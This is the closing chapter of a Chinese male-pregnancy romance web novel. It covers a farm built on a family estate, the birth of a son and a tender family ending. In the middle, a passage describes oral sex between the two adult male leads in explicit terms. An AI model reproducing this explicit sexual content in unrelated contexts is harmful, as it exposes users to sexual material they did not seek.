爸爸妈妈还有阿延说,等生完孩子修养好身体,无论他想带着宝宝去哪里住都可以。 回乡下,阿延陪他一起去。 住北城,大家其乐融融。 阿延甚至还在谢家庄园后湖的空地上给他建了座和自己乡下一模一样的小院,在屋子里同样打造了一个工具齐全的木工室。 还让人开了一片地出来。 种了瓜果蔬菜,养了鸡养了羊,甚至还在湖里养了几只之前在溪源乡差点咬了阿延的大白鹅。 这样,他住在北城无聊的时候,就能去后湖种地,做木工,养鹅放羊,像他在乡下的时候一样。 当时毛茸茸的小鸡仔还有小羊羔被抱过来的时候,庄园里的佣人们都很新奇,全都惊喜地围了过来。 江之遇也很惊讶,同时又很是动容。 因为他记得自己之前暂住在谢家的时候,有一天早上没有事情做去后湖闲逛,觉得后湖边上那么一大片肥沃的土地很适合种点什么。 往东的一片斜坡还能种果树,有一片草地能养牛或是羊。 他当时只是随便想了想,没想到这些全都化作了眼前真实的景象。 所以江之遇在北城待产这段时间,并不会觉得无聊。 家里的那些小动物也被暂时带过来了,他依旧像之前住在乡下时一样,每天都很充实快乐。 就是肚子一天比一天大,开始有些不太方便,距离宝宝出生没有多长时间了。 江之遇迷蒙中收回思绪,手指插进埋首腿间男人的发丝里。 “马上宝宝就要出生了,你还在急什么?” 谢津延抬头,唇角沾着银亮水光,面容俊逸,嗓音低沉性感,开口就想让江之遇踢他:“这样我就能和你大做一场了,总是浅尝辄止的,好难受。” 江之遇:“……” 顾及到快要出生的宝宝,他们现在确实只是每天亲亲蹭蹭,不敢有大幅度的动作。 其实不上不下的,江之遇自己也挺难受的。 “那怎么办。”江之遇脸红红的,随后闭了闭眼,“要、要不给给你用嘴吧。” 谁知被似笑非笑着调侃一声:“你是说要往我脸上吹气吗?” 江之遇睁大眼睛,对上他漆黑戏谑的眼眸,半晌,没忍住一脚踢过去。 “不愿就算了。” “对不起,老婆,我愿意。”谢津延立刻捉住他白皙漂亮的脚,吻了吻,“我早就想让你帮我这样做了。” “那你躺下,转过来。”江之遇起身,一想到自己接下来要帮他做的事情就面颊火热。 谢津延快速趟过去。 两人进了婚房,一到床上江之遇就被抱着亲来亲去的,婚礼礼服不知不觉间早就被他脱得差不多了。 可自己一身羞耻的样子,眼前男人倒是着装齐整得很,只衣领有些褶皱。 这样的话,江之遇就需要先帮他解腰带。 眼前隆起十分显眼的弧度,随着金属搭扣的声音弹开,每一次见到都会让他感到惊骇的东西瞬间跳到眼前。 之前两个人打视频通话隔着屏幕做的时候,江之遇就有一种在眼前的感觉。 然而真正跳到眼前,如此近的距离,还不小心拍了一下他的脸。 江之遇吓了一跳。 好烫。 还、还这么恐怖。 他人长得那么帅气好看,怎么这里这么狰狞可怕啊。 “要不算了吧,阿延。”江之遇不由得有些退缩,支支吾吾道,“我看你还是忍一忍,等宝宝出生吧。” “你怎么又反悔啊。”谢津延正热血上涌,被他撩拨得快要爆炸。 江之遇红了红脸,小声辩解:“你自己看看这怎么吃的下去。” 谢津延撑起身,看过去一眼。 小巧漂亮的一双唇,在自己那处狰狞丑陋的对比下确实显得特别可怜,像是下一秒就能将它撑破似的。 “之遇哥。”谢津延却因此更兴奋了,开始用这声对二人而言都有些禁忌的称谓。 “后面都可以,上面也吃得下的。” 果然,眼前的男人身体似是小幅颤抖了下,艳丽红霞瞬间铺满脸颊。 江之遇每一次被他这样喊,比叫他老婆还羞耻。 这样总会提醒他们还有另外一层关系,尽管没有血缘,可还是感到羞耻,尤其是做这种事情的时候。 “好了,我给你做就是了,你别在这个时候这样叫我,好奇怪。” 江之遇耳根发热,注视着眼前的景象,硬了硬头皮,吞下。 星星挂上夜空,庄园的夜晚也安逸静谧。 尤其是宾客散去,更有一分宁静。 这里也能听到悦耳的虫鸣,风吹过树丛枝叶簌簌的声音。 还有,令人脸红心跳吞咽呜咽的声音…… 没多久,江之遇就顺利生下了一个小宝宝,是个可爱的男孩。 眼睛长得像江之遇一样,琥珀般漂亮。 全家人都因为这个小生命的降临而感到喜悦,江之遇也终于等到了期待已久的宝宝来到这个世界。 “阿延,快把宝宝抱给我看看。” 江之遇一恢复体力能从床上坐起来就迫不及待要见宝宝。 谢津延自始至终都守在他的床边,生产期间每分每秒都被牵动着心脏。 “你总要休息休息再看宝宝。”谢津延无奈,心疼地去吻他额头上的汗水。 最终还是听他的,把宝宝抱过来给他看。 全家人围在床前。 江之遇抱着这个期待已久的小生命。 一个因为意外孕育在他体内的生命,曾经带给他很大的冲击,可更多的是幸福和对未来生活的美好期盼。 如今,他有了爱人,有这么多爱自己的人。 还等来了他期待已久的宝宝了,他再也不是一个人了。 “阿延,我好开心。” “我知道。” “你知道我在开心什么吗你就知道。” “我知道你开心我就跟着开心。” (正文完)